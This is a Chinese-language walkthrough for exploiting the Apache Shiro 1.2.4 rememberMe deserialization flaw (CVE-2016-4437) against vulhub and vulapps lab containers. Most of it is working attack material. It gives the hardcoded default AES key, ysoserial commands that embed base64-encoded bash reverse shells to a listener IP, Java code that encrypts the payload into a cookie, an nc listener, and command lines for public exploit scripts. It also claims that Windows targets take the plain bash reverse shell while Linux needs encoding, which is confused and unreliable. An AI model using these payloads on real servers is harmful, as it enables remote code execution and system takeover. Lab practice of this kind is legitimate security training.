目录
Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理。
按照利用难度和危害我们依次分为:
shiro550 > shiro721 > shiro权限绕过
为什么叫shiro550 呢?
shiro550(硬加密):https://issues.apache.org/jira/browse/SHIRO-550
shiro721(Padding Oracle):https://issues.apache.org/jira/browse/SHIRO-721
shiro1.2.4反序列化(CVE-2016-4437)
影响版本:Apache Shiro < 1.2.4
特征判断:返回包中包含 rememberMe=deleteMe
字段。
漏洞原理
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。
攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
处理流程:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化
利用链和回显方式
https://www.freebuf.com/articles/web/277704.html
利用链:
CommonsBeanutils1(shiro自身的利用链)
CommonsCollections5
CommonsCollections7
回显方式:
TomcatEcho
SpringEcho
- 报错回显
- web中获取当前上下文对象(response、context、writer等)
- 可以出网情况下OOB(dns外带)
vulhub环境
使用vulhub搭建环境。
启动环境:
docker-compose up -d
判断shiro
随便填用户名密码,点击登录,并抓包
返回包中有rememberMe=deleteMe,基本可以确定网站是Apache Shiro搭建。
图形化工具利用
使用shiro反序列化漏洞综合利用工具
1、爆破秘钥
填入目标地址,关键字设置为rememberMe
,点击爆破秘钥后会自动填入秘钥。
Shiro 1.2.4版本默认固定密钥:kPH+bIxk5D2deZiIxcaaaA==
爆破原理:
当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段。
当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。
2、命令执行
ysoserial利用
1、生成Gadget
首先利用ysoserial生成CommonsBeanutils1的Gadget:
java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI1My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
生成一个poc.ser文件
注意这里的反弹命令。
如果对方是windows系统,则是
java -jar ysoserial-all.jar CommonsBeanutils1 "bash -i >& /dev/tcp/192.168.43.145/1234 0>&1"
若是linux系统,则需要编码。可以编码的网址:https://ares-x.com/tools/runtime-exec/
2、加密
使用Shiro内置的默认密钥(kPH+bIxk5D2deZiIxcaaaA==
)对Payload(poc.ser)进行加密。
加密代码:
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("D:\\idea\\javaweb\\poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
如果爆红,则是没有引包啊。
maven引入包:
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.shiro/shiro-core -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
然后就生成了加密cookie。
3、发送rememberMe
这个payload是反弹shell的,先开启监听:nc -lvvp 1234
发送rememberMe Cookie,即可成功执行反弹shell:
Shiro_exploit脚本利用
项目地址:https://github.com/insightglacier/Shiro_exploit
python3 shiro_exploit.py -t 3 -u http://192.168.43.19:8080/ -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI1My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
vulapps环境
获取docker镜像,启动
docker pull medicean/vulapps:s_shiro_1
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
判断shiro
点击Log in,输入用户名密码点击登录并抓包
返回包中有rememberMe=deleteMe,基本可以确定网站是Apache Shiro搭建。
shiro-1.2.4_rce脚本利用
1、安装
下载shiro利用脚本,下载地址:https://github.com/zhzyker/shiro-1.2.4-rce
要用python3 执行,先pip下载依赖
pip install pycrypto
pip install Crypto
测试运行
python3 shiro-1.2.4_rce.py
2、运行命令
python3 shiro-1.2.4_rce.py http://192.168.43.19:8081/
可以看到,首先爆破秘钥、利用链
爆破成功:
3、反弹shell
bash -i >& /dev/tcp/192.168.43.145/1234 0>&1
靶机是windows不需要编码
靶机是linux 系统需要编码之后,绕后再进行nc反弹
可以编码的网址:https://ares-x.com/tools/runtime-exec/
此脚本自带编码,而且编码后自动执行,反弹shell。
编码后payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE0NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
成功反弹shell
图形化工具利用
1、爆破秘钥
2、爆破利用链及回显
3、命令执行